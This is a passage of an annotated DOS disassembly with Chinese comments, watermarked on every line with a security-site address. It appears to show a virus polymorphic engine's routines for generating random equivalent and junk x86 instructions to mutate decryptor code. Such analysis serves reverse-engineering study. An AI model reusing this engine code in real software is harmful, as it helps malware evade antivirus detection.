9E80:0EF0 EBF4        JMP  0EE6 防黑网.www.zzfhw.com
;=========================================================================== 防黑网.www.zzfhw.com
; 分支之三: 产生指令 SUB r/m16,r/m16 或 CLC/SBB r/m16,r/m16 指令先清零 防黑网.www.zzfhw.com
; 再产生: ADD/XOR/ADC/OR r/m16,i16 指令 防黑网.www.zzfhw.com
9E80:0EF2 50         PUSH  AX 防黑网.www.zzfhw.com
9E80:0EF3 B103        MOV  CL,03 防黑网.www.zzfhw.com
9E80:0EF5 8AE8        MOV  CH,AL 防黑网.www.zzfhw.com
9E80:0EF7 D2E5        SHL  CH,CL 防黑网.www.zzfhw.com
9E80:0EF9 0AC5        OR  AL,CH     ;使 r/m1 = r/m2 = R_AL 防黑网.www.zzfhw.com
9E80:0EFB E85C02      CALL  115A 防黑网.www.zzfhw.com
9E80:0EFE 7503        JNZ  0F03 防黑网.www.zzfhw.com
9E80:0F00 80CC02      OR  AH,02 防黑网.www.zzfhw.com
9E80:0F03 E85402      CALL  115A 防黑网.www.zzfhw.com
9E80:0F06 751A        JNZ  0F22 防黑网.www.zzfhw.com
9E80:0F08 0DC029      OR  AX,29C0   ;29 mm rrr r/m 为 SUB r/m16,r16 防黑网.www.zzfhw.com
9E80:0F0B E84C02      CALL  115A 防黑网.www.zzfhw.com
9E80:0F0E 7506        JNZ  0F16 防黑网.www.zzfhw.com
9E80:0F10 80F430      XOR  AH,30    ;29 xor 30 = 19 防黑网.www.zzfhw.com
9E80:0F13 E8F600      CALL  100C     ;19 mm rrr r/m 为 SBB r/m16,r16 防黑网.www.zzfhw.com
9E80:0F16 86C4        XCHG  AL,AH 防黑网.www.zzfhw.com
9E80:0F18 AB         STOSW 防黑网.www.zzfhw.com
9E80:0F19 E80D01      CALL  1029 防黑网.www.zzfhw.com
9E80:0F1C 58         POP  AX 防黑网.www.zzfhw.com
9E80:0F1D E80700      CALL  0F27     ;产生 ADD/ADC/XOR/OR 指令 防黑网.www.zzfhw.com
9E80:0F20 EBC9        JMP  0EEB 防黑网.www.zzfhw.com
;=========================================================================== 防黑网.www.zzfhw.com
; 分支之四: 产生指令 SUB r/m16,r/m16 或 CLC/SBB r/m16,r/m16 指令先清零 防黑网.www.zzfhw.com
; 再产生: ADD/XOR/ADC/OR r/m16,i16 指令 防黑网.www.zzfhw.com
9E80:0F22 0DC031      OR  AX,31C0   ;初始 AH = 0002 防黑网.www.zzfhw.com
9E80:0F25 EBEF        JMP  0F16     ;33 mm rrr r/m = XOR r/m16,r16 防黑网.www.zzfhw.com
;=========================================================================== 防黑网.www.zzfhw.com
; 随机产生 ADD R_AL,数_DX 功能的指令 防黑网.www.zzfhw.com
; 入口 AL = 寄存器, DX = 16位数据 (原寄存器必须为 0) 防黑网.www.zzfhw.com
9E80:0F27 50         PUSH  AX 防黑网.www.zzfhw.com
9E80:0F28 53         PUSH  BX 防黑网.www.zzfhw.com
9E80:0F29 51         PUSH  CX 防黑网.www.zzfhw.com
9E80:0F2A 52         PUSH  DX 防黑网.www.zzfhw.com
9E80:0F2B 98         CBW 防黑网.www.zzfhw.com
9E80:0F2C BB0200      MOV  BX,0002 防黑网.www.zzfhw.com
9E80:0F2F E82202      CALL  1154 防黑网.www.zzfhw.com
9E80:0F32 B93035      MOV  CX,3530   ;CL 中的数据将与以后分支 防黑网.www.zzfhw.com
9E80:0F35 7414        JZ  0F4B     ;中 AL 中的数据异或 防黑网.www.zzfhw.com
9E80:0F37 B9080D      MOV  CX,0D08   ;指令有 4 种可能性: 防黑网.www.zzfhw.com
9E80:0F3A 4B         DEC  BX     ;35 为 XOR AX,i16 防黑网.www.zzfhw.com
9E80:0F3B 740E        JZ  0F4B     ;05 为 OR  AX,i16 防黑网.www.zzfhw.com
9E80:0F3D B90005      MOV  CX,0500   ;15 为 ADD AX,i16 防黑网.www.zzfhw.com
9E80:0F40 E81702      CALL  115A     ;02 为 ADC AX,i16 防黑网.www.zzfhw.com
9E80:0F43 7506        JNZ  0F4B 防黑网.www.zzfhw.com
9E80:0F45 B91015      MOV  CX,1510 防黑网.www.zzfhw.com
9E80:0F48 E8C100      CALL  100C 防黑网.www.zzfhw.com
9E80:0F4B F7C50002     TEST  BP,0200   ;需要保存代码到 [1410] 防黑网.www.zzfhw.com
9E80:0F4F 7404        JZ  0F55 防黑网.www.zzfhw.com
9E80:0F51 882E1014     MOV  [1410],CH 防黑网.www.zzfhw.com
9E80:0F55 E80202      CALL  115A 防黑网.www.zzfhw.com
9E80:0F58 7511        JNZ  0F6B 防黑网.www.zzfhw.com
9E80:0F5A 0AC0        OR  AL,AL     ;如果 R_AL 是 AX 防黑网.www.zzfhw.com
9E80:0F5C 750D        JNZ  0F6B     ;使用以上 4 种指令 防黑网.www.zzfhw.com
9E80:0F5E 8AC5        MOV  AL,CH 防黑网.www.zzfhw.com
9E80:0F60 AA         STOSB 防黑网.www.zzfhw.com
9E80:0F61 92         XCHG  AX,DX 防黑网.www.zzfhw.com
9E80:0F62 AB         STOSW 防黑网.www.zzfhw.com
9E80:0F63 E8C300      CALL  1029 防黑网.www.zzfhw.com
9E80:0F66 5A         POP  DX 防黑网.www.zzfhw.com
9E80:0F67 59         POP  CX 防黑网.www.zzfhw.com
9E80:0F68 5B         POP  BX 防黑网.www.zzfhw.com
9E80:0F69 58         POP  AX 防黑网.www.zzfhw.com
9E80:0F6A C3         RET 防黑网.www.zzfhw.com
9E80:0F6B 0DC081      OR  AX,81C0   ;C0 or 30/08/00/10 防黑网.www.zzfhw.com
9E80:0F6E 0AC1        OR  AL,CL     ;   =  F0/C8/C0/D0 防黑网.www.zzfhw.com
9E80:0F70 E8E701      CALL  115A     ;81 F0 为 XOR r/m16,i16 防黑网.www.zzfhw.com
9E80:0F73 750D        JNZ  0F82     ;81 C8 为 OR  r/m16,i16 防黑网.www.zzfhw.com
9E80:0F75 83FA7F      CMP  DX,+7F     ;81 C0 为 ADD r/m16,i16 防黑网.www.zzfhw.com
9E80:0F78 7605        JBE  0F7F     ;81 D0 为 ADC r/m16,i16 防黑网.www.zzfhw.com
9E80:0F7A 83FA80      CMP  DX,-80 防黑网.www.zzfhw.com
9E80:0F7D 7203        JB  0F82     ;如果立即数在 7F 到 -80 之间 防黑网.www.zzfhw.com
9E80:0F7F 80CC02      OR  AH,02     ;用 83 F0/C8/C0/D0 指令 防黑网.www.zzfhw.com
9E80:0F82 86C4        XCHG  AL,AH     ;为 XOR/OR/ADD/ADC r/m16,i8 防黑网.www.zzfhw.com
9E80:0F84 AB         STOSW 防黑网.www.zzfhw.com
9E80:0F85 A802        TEST  AL,02     ;81 xor 02 = 83 防黑网.www.zzfhw.com
9E80:0F87 92         XCHG  AX,DX 防黑网.www.zzfhw.com
9E80:0F88 74D8        JZ  0F62 防黑网.www.zzfhw.com
9E80:0F8A AA         STOSB 防黑网.www.zzfhw.com
9E80:0F8B EBD6        JMP  0F63 防黑网.www.zzfhw.com
;========================================================================== 防黑网.www.zzfhw.com
; 随机产生 ADD R_AL,数_DX 指令 (原寄存器不一定为 0) 防黑网.www.zzfhw.com
9E80:0F8D 50         PUSH  AX 防黑网.www.zzfhw.com
9E80:0F8E 53         PUSH  BX 防黑网.www.zzfhw.com
9E80:0F8F 51         PUSH  CX 防黑网.www.zzfhw.com
9E80:0F90 52         PUSH  DX 防黑网.www.zzfhw.com
9E80:0F91 98         CBW 防黑网.www.zzfhw.com
9E80:0F92 8BCA        MOV  CX,DX 防黑网.www.zzfhw.com
9E80:0F94 BB0300      MOV  BX,0003 防黑网.www.zzfhw.com
9E80:0F97 E8BA01      CALL  1154 防黑网.www.zzfhw.com
9E80:0F9A 744F        JZ  0FEB 防黑网.www.zzfhw.com
分支之一: 防黑网.www.zzfhw.com
9E80:0F9C BBC040      MOV  BX,40C0 防黑网.www.zzfhw.com
9E80:0F9F F7C50002     TEST  BP,0200   ;需要保存代码到 [1410] 防黑网.www.zzfhw.com
9E80:0FA3 7405        JZ  0FAA 防黑网.www.zzfhw.com
9E80:0FA5 C606101405    MOV  Byte Ptr [1410],05 防黑网.www.zzfhw.com
9E80:0FAA 83F903      CMP  CX,+03     ;数据在 0 到 3 之间 防黑网.www.zzfhw.com
9E80:0FAD 7218        JB  0FC7     ;转 0FC7 防黑网.www.zzfhw.com
9E80:0FAF F7D9        NEG  CX 防黑网.www.zzfhw.com
9E80:0FB1 83F903      CMP  CX,+03     ;数据在 0 到 -3 之间 防黑网.www.zzfhw.com
9E80:0FB4 7735        JA  0FEB     ;数据在 3 到 -3 之间采用 防黑网.www.zzfhw.com
9E80:0FB6 BBC848      MOV  BX,48C8   ;多条 INC/DEC 指令 防黑网.www.zzfhw.com
9E80:0FB9 F7C50002     TEST  BP,0200   ;来完成 防黑网.www.zzfhw.com
9E80:0FBD 7405        JZ  0FC4     ;负数用 DEC, 正数用 INC 防黑网.www.zzfhw.com
9E80:0FBF C60610142D    MOV  Byte Ptr [1410],2D 防黑网.www.zzfhw.com
9E80:0FC4 42         INC  DX 防黑网.www.zzfhw.com
9E80:0FC5 41         INC  CX 防黑网.www.zzfhw.com
9E80:0FC6 3D4A49      CMP  AX,494A 防黑网.www.zzfhw.com
    0FC7 4A         DEC  DX 防黑网.www.zzfhw.com
    0FC8 49         DEC  CX 防黑网.www.zzfhw.com
9E80:0FC9 50         PUSH  AX 防黑网.www.zzfhw.com
9E80:0FCA B80500      MOV  AX,0005 防黑网.www.zzfhw.com
9E80:0FCD E89601      CALL  1166 防黑网.www.zzfhw.com
9E80:0FD0 58         POP  AX 防黑网.www.zzfhw.com
9E80:0FD1 50         PUSH  AX 防黑网.www.zzfhw.com
9E80:0FD2 7509        JNZ  0FDD 防黑网.www.zzfhw.com
9E80:0FD4 B4FF        MOV  AH,FF     ;FF mm 001 r/m = DEC r/m16 防黑网.www.zzfhw.com
9E80:0FD6 86DF        XCHG  BL,BH     ;FF mm 000 r/m = INC r/m16 防黑网.www.zzfhw.com
9E80:0FD8 86C4        XCHG  AL,AH 防黑网.www.zzfhw.com
9E80:0FDA AA         STOSB 防黑网.www.zzfhw.com
9E80:0FDB 86C4        XCHG  AL,AH 防黑网.www.zzfhw.com
9E80:0FDD 0AC7        OR  AL,BH     ;48 + r = DEC rrr 防黑网.www.zzfhw.com
9E80:0FDF AA         STOSB       ;40 + r = INC rrr 防黑网.www.zzfhw.com
9E80:0FE0 58         POP  AX 防黑网.www.zzfhw.com
9E80:0FE1 E84500      CALL  1029 防黑网.www.zzfhw.com
9E80:0FE4 0BD2        OR  DX,DX     ;DX 内数据还未为零 防黑网.www.zzfhw.com
9E80:0FE6 75AC        JNZ  0F94     ;转 0F94 继续循环 防黑网.www.zzfhw.com
9E80:0FE8 E97BFF      JMP  0F66 防黑网.www.zzfhw.com
; DX 数据不在 3 到 -3 之间 防黑网.www.zzfhw.com
9E80:0FEB E86C01      CALL  115A 防黑网.www.zzfhw.com
9E80:0FEE 7403        JZ  0FF3 防黑网.www.zzfhw.com
9E80:0FF0 E94AFF      JMP  0F3D     ;转产生 ADD/ADC R_AL,数_DX 防黑网.www.zzfhw.com
9E80:0FF3 F7C50002     TEST  BP,0200 防黑网.www.zzfhw.com
9E80:0FF7 7502        JNZ  0FFB 防黑网.www.zzfhw.com
9E80:0FF9 F7DA        NEG  DX     ;数_DX 取反 防黑网.www.zzfhw.com
;========================================================================= 防黑网.www.zzfhw.com
; 分支之二 防黑网.www.zzfhw.com
9E80:0FFB B9282D      MOV  CX,2D28   ;81 mm 101 r/m = SUB r/m16,i16 防黑网.www.zzfhw.com
9E80:0FFE E85901      CALL  115A     ;即 81 28 防黑网.www.zzfhw.com
9E80:1001 7403        JZ  1006     ;2D + r = SUB AX,i16 防黑网.www.zzfhw.com
9E80:1003 E945FF      JMP  0F4B     ;81 mm 011 r/m = SBB r/m16,i16 防黑网.www.zzfhw.com
9E80:1006 B9181D      MOV  CX,1D18   ;即 81 18 防黑网.www.zzfhw.com
9E80:1009 E93CFF      JMP  0F48     ;1D + r = SBB AX,i16 防黑网.www.zzfhw.com
;========================================================================== 防黑网.www.zzfhw.com
; 产生清 CY 标志指令 防黑网.www.zzfhw.com
; 有两种可能性: CLC 或 STC/CMC 防黑网.www.zzfhw.com
9E80:100C 50         PUSH  AX 防黑网.www.zzfhw.com
9E80:100D 55         PUSH  BP     ;BP = 0800 表示 防黑网.www.zzfhw.com
9E80:100E 81CD0008     OR  BP,0800   ;随机指令中不能改变 CY 标志 防黑网.www.zzfhw.com
9E80:1012 B0F8        MOV  AL,F8     ;F8 为 CLC 防黑网.www.zzfhw.com
9E80:1014 E84301      CALL  115A 防黑网.www.zzfhw.com
9E80:1017 7509        JNZ  1022 防黑网.www.zzfhw.com
9E80:1019 B8F9F5      MOV  AX,F5F9   ;F9/F5 为 STC/CMC 防黑网.www.zzfhw.com
9E80:101C AA         STOSB 防黑网.www.zzfhw.com
9E80:101D E80900      CALL  1029 防黑网.www.zzfhw.com
9E80:1020 86C4        XCHG  AL,AH 防黑网.www.zzfhw.com
9E80:1022 AA         STOSB 防黑网.www.zzfhw.com
9E80:1023 E80300      CALL  1029 防黑网.www.zzfhw.com
9E80:1026 5D         POP  BP 防黑网.www.zzfhw.com
9E80:1027 58         POP  AX 防黑网.www.zzfhw.com
9E80:1028 C3         RET 防黑网.www.zzfhw.com
;========================================================================= 防黑网.www.zzfhw.com
; 随机产生无效指令 0 - 2 句 防黑网.www.zzfhw.com
; 入口:  无          出口:  无 防黑网.www.zzfhw.com
9E80:1029 50         PUSH  AX 防黑网.www.zzfhw.com
9E80:102A B80200      MOV  AX,0002 防黑网.www.zzfhw.com
9E80:102D E83601      CALL  1166 防黑网.www.zzfhw.com
9E80:1030 91         XCHG  AX,CX     ;产生小于 3 的随机数于 CX 防黑网.www.zzfhw.com
9E80:1031 E305        JCXZ  1038 防黑网.www.zzfhw.com
9E80:1033 E80500      CALL  103B     ;随机产生无效指令 防黑网.www.zzfhw.com
9E80:1036 E2FB        LOOP  1033 防黑网.www.zzfhw.com
9E80:1038 91         XCHG  AX,CX 防黑网.www.zzfhw.com
9E80:1039 58         POP  AX 防黑网.www.zzfhw.com
9E80:103A C3         RET 防黑网.www.zzfhw.com
;========================================================================= 防黑网.www.zzfhw.com
; 随机产生一句无效指令 防黑网.www.zzfhw.com
; 入口:  无          出口:  无 防黑网.www.zzfhw.com
9E80:103B 50         PUSH  AX 防黑网.www.zzfhw.com
9E80:103C 53         PUSH  BX 防黑网.www.zzfhw.com
9E80:103D 51         PUSH  CX 防黑网.www.zzfhw.com
9E80:103E 52         PUSH  DX 防黑网.www.zzfhw.com
9E80:103F 55         PUSH  BP 防黑网.www.zzfhw.com
9E80:1040 F7C50001     TEST  BP,0100   ;如果 BP=0100, 则不执行 防黑网.www.zzfhw.com
9E80:1044 7543        JNZ  1089 防黑网.www.zzfhw.com
9E80:1046 81E5FFFD     AND  BP,FDFF   ;清 BP 0200 防黑网.www.zzfhw.com
9E80:104A 81CD0001     OR  BP,0100   ;设置不执行本子程序标志 防黑网.www.zzfhw.com
9E80:104E E80901      CALL  115A 防黑网.www.zzfhw.com
9E80:1051 7536        JNZ  1089     ;随机分支 防黑网.www.zzfhw.com
9E80:1053 B103        MOV  CL,03 防黑网.www.zzfhw.com
9E80:1055 E80B01      CALL  1163 防黑网.www.zzfhw.com
9E80:1058 92         XCHG  AX,DX     ;DX = 随机数 防黑网.www.zzfhw.com
9E80:1059 E8A400      CALL  1100     ;随机取一个寄存器于 AX 防黑网.www.zzfhw.com
9E80:105C 722B        JB  1089 防黑网.www.zzfhw.com
9E80:105E BB0600      MOV  BX,0006 防黑网.www.zzfhw.com
9E80:1061 F7C50008     TEST  BP,0800   ;随机指令中是否可以改变 C 防黑网.www.zzfhw.com
9E80:1065 7402        JZ  1069     ;标志位, 如果可以, 产生 7 种 防黑网.www.zzfhw.com
9E80:1067 B302        MOV  BL,02     ;如果不可以, 产生 3 种随机代码 防黑网.www.zzfhw.com
9E80:1069 E8E800      CALL  1154 防黑网.www.zzfhw.com
9E80:106C 751F        JNZ  108D     ;随机分支, 入口 AX = 寄存器 防黑网.www.zzfhw.com
;=============================================== 防黑网.www.zzfhw.com
; 106C 处随机分支一, 产生 MOV R_AL,R_DL 指令 防黑网.www.zzfhw.com
; 有两种可能 89 或 8C (两种 MOV 指令) 防黑网.www.zzfhw.com
9E80:106E 80CC89      OR  AH,89     ;89 mm rrr r/m 为指令 防黑网.www.zzfhw.com
9E80:1071 E8E600      CALL  115A     ;MOV r/m16, r16 防黑网.www.zzfhw.com
9E80:1074 7405        JZ  107B 防黑网.www.zzfhw.com
9E80:1076 80CC02      OR  AH,02     ;8C mm rrr r/m 为指令 防黑网.www.zzfhw.com
9E80:1079 86C2        XCHG  AL,DL     ;MOV r16, r/m16 防黑网.www.zzfhw.com
9E80:107B 80E207      AND  DL,07 防黑网.www.zzfhw.com
9E80:107E 2407        AND  AL,07 防黑网.www.zzfhw.com
9E80:1080 D2E2        SHL  DL,CL 防黑网.www.zzfhw.com
9E80:1082 0CC0        OR  AL,C0     ;即 mm 为 11: 表示 r/m 为 rrr 防黑网.www.zzfhw.com
9E80:1084 0AC2        OR  AL,DL 防黑网.www.zzfhw.com
9E80:1086 86C4        XCHG  AL,AH 防黑网.www.zzfhw.com
9E80:1088 AB         STOSW       ;随机产生 MOV R_AL,R_DL 防黑网.www.zzfhw.com
9E80:1089 5D         POP  BP     ;(两种可能: 89 或 8C) 防黑网.www.zzfhw.com
9E80:108A E9D9FE      JMP  0F66 防黑网.www.zzfhw.com
9E80:108D 4B         DEC  BX 防黑网.www.zzfhw.com
9E80:108E 7520        JNZ  10B0 防黑网.www.zzfhw.com
;============================================================================ 防黑网.www.zzfhw.com
; 106C 处随机分支二, 产生 XCHG R_AL,R_DL 指令 防黑网.www.zzfhw.com
; 当寄存器之一为 AX 时使用 90, 否则使用 87 防黑网.www.zzfhw.com
9E80:1090 92         XCHG  AX,DX 防黑网.www.zzfhw.com
9E80:1091 E86C00      CALL  1100 防黑网.www.zzfhw.com
9E80:1094 72F3        JB  1089     ;随机取一个寄存器于 AX 防黑网.www.zzfhw.com
9E80:1096 92         XCHG  AX,DX     ;DX = 随机寄存器 防黑网.www.zzfhw.com
9E80:1097 E8C000      CALL  115A     ;随机决定是否使用 AX 专用指令 防黑网.www.zzfhw.com
9E80:109A 7508        JNZ  10A4 防黑网.www.zzfhw.com
9E80:109C 0AD2        OR  DL,DL     ;寄存器之一为 AX 转 10A9 防黑网.www.zzfhw.com
9E80:109E 7409        JZ  10A9     ;使用 AX 专用指令 90 防黑网.www.zzfhw.com
9E80:10A0 0AC0        OR  AL,AL 防黑网.www.zzfhw.com
9E80:10A2 7405        JZ  10A9 防黑网.www.zzfhw.com
9E80:10A4 80CC87      OR  AH,87     ;87 mm rrr r/m 为指令 防黑网.www.zzfhw.com
9E80:10A7 EBD2        JMP  107B     ;XCHG r/m16, r16 防黑网.www.zzfhw.com
9E80:10A9 0C90        OR  AL,90     ;90 + r 为指令 防黑网.www.zzfhw.com
9E80:10AB 0AC2        OR  AL,DL     ;XCHG AX, r16 防黑网.www.zzfhw.com
9E80:10AD AA         STOSB 防黑网.www.zzfhw.com
9E80:10AE EBD9        JMP  1089 防黑网.www.zzfhw.com
9E80:10B0 4B         DEC  BX 防黑网.www.zzfhw.com
9E80:10B1 750B        JNZ  10BE 防黑网.www.zzfhw.com
;============================================================================= 防黑网.www.zzfhw.com
; 106C 处随机分支三, 随机产生前缀 CS: SS: STD CLD 或 STI 防黑网.www.zzfhw.com
9E80:10B3 B004        MOV  AL,04 防黑网.www.zzfhw.com
9E80:10B5 E8AE00      CALL  1166 防黑网.www.zzfhw.com
9E80:10B8 BBDF10      MOV  BX,10DF   ;查表随机产生 CS:, SS:, STD 防黑网.www.zzfhw.com
9E80:10BB D7         XLAT       ;CLD 或 STI 防黑网.www.zzfhw.com
9E80:10BC EBEF        JMP  10AD 防黑网.www.zzfhw.com
;============================================================================ 防黑网.www.zzfhw.com
; 106C 处随机分支之四, 产生 MOV R_AL,数_DX 指令 防黑网.www.zzfhw.com
; 可能用 XOR/OR/ADD/ADC 等指令 防黑网.www.zzfhw.com
; 有 12 种可能 35, 0D, 05, 15, 81(83) F0, 81(83) C8, 81(83) C0, 81(83) D0 防黑网.www.zzfhw.com
9E80:10BE 4B         DEC  BX 防黑网.www.zzfhw.com
9E80:10BF 7505        JNZ  10C6 防黑网.www.zzfhw.com
9E80:10C1 E863FE      CALL  0F27     ;调用 0F27 防黑网.www.zzfhw.com
9E80:10C4 EBC3        JMP  1089 防黑网.www.zzfhw.com
;========================================================================== 防黑网.www.zzfhw.com
; 106C 处随机分支之五, 产生 ADD R_AL,数_DX 指令 防黑网.www.zzfhw.com
; 可能用 DEC/INC/ADD/ADC/SBB/SUB 等指令 防黑网.www.zzfhw.com
9E80:10C6 4B         DEC  BX 防黑网.www.zzfhw.com
9E80:10C7 7505        JNZ  10CE 防黑网.www.zzfhw.com
9E80:10C9 E8C1FE      CALL  0F8D     ;调用 0F8D 防黑网.www.zzfhw.com
9E80:10CC EBBB        JMP  1089 防黑网.www.zzfhw.com
;=========================================================================== 防黑网.www.zzfhw.com
; 106C 处随机分支之六, 产生 MOV R_AL,数_DX 指令 防黑网.www.zzfhw.com
; 具体见 0EA1 (0F8D 和 0F27 的组合) 防黑网.www.zzfhw.com
9E80:10CE 4B         DEC  BX 防黑网.www.zzfhw.com
9E80:10CF 7505        JNZ  10D6 防黑网.www.zzfhw.com
9E80:10D1 E8CDFD      CALL  0EA1     ;调用 0EA1 防黑网.www.zzfhw.com
9E80:10D4 EBB3        JMP  1089     ;产生 MOV R_AL,数DX 指令 防黑网.www.zzfhw.com
;=========================================================================== 防黑网.www.zzfhw.com
; 106C 处随机分支之七, 产生 ADD R_AL,R_DL 指令 防黑网.www.zzfhw.com
; 有两种可能, 01 或 03 防黑网.www.zzfhw.com
9E80:10D6 80E638      AND  DH,38 防黑网.www.zzfhw.com
9E80:10D9 B401        MOV  AH,01     ;01 mm rrr r/m 为 ADD r/m16,r16 防黑网.www.zzfhw.com
9E80:10DB 0AE6        OR  AH,DH     ;03 mm rrr r/m 为 ADD r16,r/m16 防黑网.www.zzfhw.com
9E80:10DD EB92        JMP  1071 防黑网.www.zzfhw.com
; 由 10BB 处查表 防黑网.www.zzfhw.com
9E80:10DF 2E 36 FC FD FB  ( CS: SS: STD CLD STI ) 防黑网.www.zzfhw.com
9E80:10E4 803E0E1405    CMP  Byte Ptr [140E],05 防黑网.www.zzfhw.com
9E80:10E9 7405        JZ  10F0 防黑网.www.zzfhw.com
9E80:10EB 803E0F1405    CMP  Byte Ptr [140F],05 防黑网.www.zzfhw.com
9E80:10F0 C3         RET 防黑网.www.zzfhw.com
;======================================================================= 防黑网.www.zzfhw.com
; 随机取寄存器, 但必须为 BX, BP, SI, DI 之一 ,入口为 10F4 防黑网.www.zzfhw.com
; (取 BP 中一位, 但必须是第 3, 5, 6, 7 位) 防黑网.www.zzfhw.com
9E80:10F1 E82A00      CALL  111E     ;恢复寄存器位 (在 BP 中) 防黑网.www.zzfhw.com
9E80:10F4 E80900      CALL  1100     ;入口, 取随机一个寄存器 防黑网.www.zzfhw.com
9E80:10F7 3C03        CMP  AL,03     ;为 BX 返回 防黑网.www.zzfhw.com
9E80:10F9 7404        JZ  10FF 防黑网.www.zzfhw.com
9E80:10FB 3C05        CMP  AL,05     ;小于 5 重新取 防黑网.www.zzfhw.com
9E80:10FD 72F2        JB  10F1 防黑网.www.zzfhw.com
9E80:10FF C3         RET 防黑网.www.zzfhw.com
;========================================================================= 防黑网.www.zzfhw.com
; 随机取寄存器, 返回 AX = 寄存器号 防黑网.www.zzfhw.com
; (取 BP 中一位, BP 已是全零返回 CY, 否则返回 NC ) 防黑网.www.zzfhw.com
9E80:1100 F7C5EF00     TEST  BP,00EF   ;已无空余寄存器 防黑网.www.zzfhw.com
9E80:1104 F9         STC       ;设置 CY 返回 防黑网.www.zzfhw.com
9E80:1105 7416        JZ  111D 防黑网.www.zzfhw.com
9E80:1107 B80700      MOV  AX,0007   ;取小于等于 7 的数 防黑网.www.zzfhw.com
9E80:110A E85900      CALL  1166 防黑网.www.zzfhw.com
9E80:110D 50         PUSH  AX 防黑网.www.zzfhw.com
9E80:110E 98         CBW 防黑网.www.zzfhw.com
9E80:110F E81500      CALL  1127     ;设置数字到 BIT 防黑网.www.zzfhw.com
9E80:1112 85E8        TEST  AX,BP 防黑网.www.zzfhw.com
9E80:1114 9C         PUSHF 防黑网.www.zzfhw.com
9E80:1115 F7D0        NOT  AX 防黑网.www.zzfhw.com
9E80:1117 23E8        AND  BP,AX     ;将 BP 中相应位清零 防黑网.www.zzfhw.com
9E80:1119 9D         POPF 防黑网.www.zzfhw.com
9E80:111A 58         POP  AX 防黑网.www.zzfhw.com
9E80:111B 74EA        JZ  1107     ;BP 中相应为原来已是零转 1107 防黑网.www.zzfhw.com
9E80:111D C3         RET      ;重新选取 防黑网.www.zzfhw.com
;============================================================================ 防黑网.www.zzfhw.com
; 恢复相应寄存器, 入口: AX = 寄存器号 防黑网.www.zzfhw.com
; (将 BP 中相应位设置为 1 ) 防黑网.www.zzfhw.com
9E80:111E 50         PUSH  AX 防黑网.www.zzfhw.com
9E80:111F 98         CBW 防黑网.www.zzfhw.com
9E80:1120 E80400      CALL  1127 防黑网.www.zzfhw.com
9E80:1123 0BE8        OR  BP,AX 防黑网.www.zzfhw.com
9E80:1125 58         POP  AX 防黑网.www.zzfhw.com
9E80:1126 C3         RET 防黑网.www.zzfhw.com
;============================================================================ 防黑网.www.zzfhw.com
; 将 AX 中的数值转换为 AX 中的 BIT 位 防黑网.www.zzfhw.com
9E80:1127 51         PUSH  CX 防黑网.www.zzfhw.com
9E80:1128 8AC8        MOV  CL,AL 防黑网.www.zzfhw.com
9E80:112A B001        MOV  AL,01 防黑网.www.zzfhw.com
9E80:112C D2E0        SHL  AL,CL 防黑网.www.zzfhw.com
9E80:112E 59         POP  CX 防黑网.www.zzfhw.com
9E80:112F C3         RET 防黑网.www.zzfhw.com
;==================================================================== 防黑网.www.zzfhw.com
; 按随机顺序执行 BX, CX, DX, SI 所指的子程序 防黑网.www.zzfhw.com
9E80:1130 E8F6FE      CALL  1029     ;随机加入无效指令 防黑网.www.zzfhw.com
9E80:1133 B80200      MOV  AX,0002 防黑网.www.zzfhw.com
9E80:1136 E82D00      CALL  1166 防黑网.www.zzfhw.com
9E80:1139 91         XCHG  AX,CX     ;产生随机数于 CX ( <3 ) 防黑网.www.zzfhw.com
9E80:113A 41         INC  CX 防黑网.www.zzfhw.com
9E80:113B E81C00      CALL  115A     ;将原 BX, CX, DX, SI 防黑网.www.zzfhw.com
9E80:113E 7501        JNZ  1141     ;随机对换 防黑网.www.zzfhw.com
9E80:1140 93         XCHG  AX,BX 防黑网.www.zzfhw.com
9E80:1141 E81600      CALL  115A 防黑网.www.zzfhw.com
9E80:1144 7501        JNZ  1147 防黑网.www.zzfhw.com
9E80:1146 92         XCHG  AX,DX 防黑网.www.zzfhw.com
9E80:1147 E81000      CALL  115A 防黑网.www.zzfhw.com
9E80:114A 7501        JNZ  114D 防黑网.www.zzfhw.com
9E80:114C 96         XCHG  AX,SI 防黑网.www.zzfhw.com
9E80:114D E2EC        LOOP  113B 防黑网.www.zzfhw.com
9E80:114F 56         PUSH  SI     ;将原 BX, CX, DX, SI 防黑网.www.zzfhw.com
9E80:1150 52         PUSH  DX     ;当作返回地址压入堆栈再返回 防黑网.www.zzfhw.com
9E80:1151 53         PUSH  BX     ;即以下执行 BX, CX, DX, SI 防黑网.www.zzfhw.com
9E80:1152 50         PUSH  AX     ;所指的子程序 防黑网.www.zzfhw.com
9E80:1153 C3         RET 防黑网.www.zzfhw.com
;====================================================================== 防黑网.www.zzfhw.com
; 产生小于等于 BX 的随机数, 返回: BX = 随机数 防黑网.www.zzfhw.com
9E80:1154 93         XCHG  AX,BX 防黑网.www.zzfhw.com
9E80:1155 E80E00      CALL  1166 防黑网.www.zzfhw.com
9E80:1158 93         XCHG  AX,BX 防黑网.www.zzfhw.com
9E80:1159 C3         RET 防黑网.www.zzfhw.com
;====================================================================== 防黑网.www.zzfhw.com
; 随机分支子程序, 返回 NZ 或 ZR 防黑网.www.zzfhw.com
9E80:115A 50         PUSH  AX 防黑网.www.zzfhw.com
9E80:115B B80100      MOV  AX,0001 防黑网.www.zzfhw.com
9E80:115E E80500      CALL  1166 防黑网.www.zzfhw.com
9E80:1161 58         POP  AX 防黑网.www.zzfhw.com
9E80:1162 C3         RET 防黑网.www.zzfhw.com
9E80:1163 B8FFFF      MOV  AX,FFFF 防黑网.www.zzfhw.com
;======================================================================= 防黑网.www.zzfhw.com
; 产生小于等于 AX 的随机数, 返回: AX = 随机数, 并且 AX = 0 时返回 ZR 防黑网.www.zzfhw.com
; AX <> 0 时返回 NZ 防黑网.www.zzfhw.com
9E80:1166 1E         PUSH  DS 防黑网.www.zzfhw.com
9E80:1167 53         PUSH  BX 防黑网.www.zzfhw.com
9E80:1168 51         PUSH  CX 防黑网.www.zzfhw.com
9E80:1169 52         PUSH  DX 防黑网.www.zzfhw.com
9E80:116A 50         PUSH  AX 防黑网.www.zzfhw.com
9E80:116B 33C0        XOR  AX,AX     ;取系统时钟 (随机) 防黑网.www.zzfhw.com
9E80:116D CD1A        INT  1A     ;返回 CX:DX = 时钟计数 防黑网.www.zzfhw.com
9E80:116F 0E         PUSH  CS 防黑网.www.zzfhw.com
9E80:1170 1F         POP  DS 防黑网.www.zzfhw.com
9E80:1171 E440        IN  AL,40    ;取 8253 通道一计数器 (随机) 防黑网.www.zzfhw.com
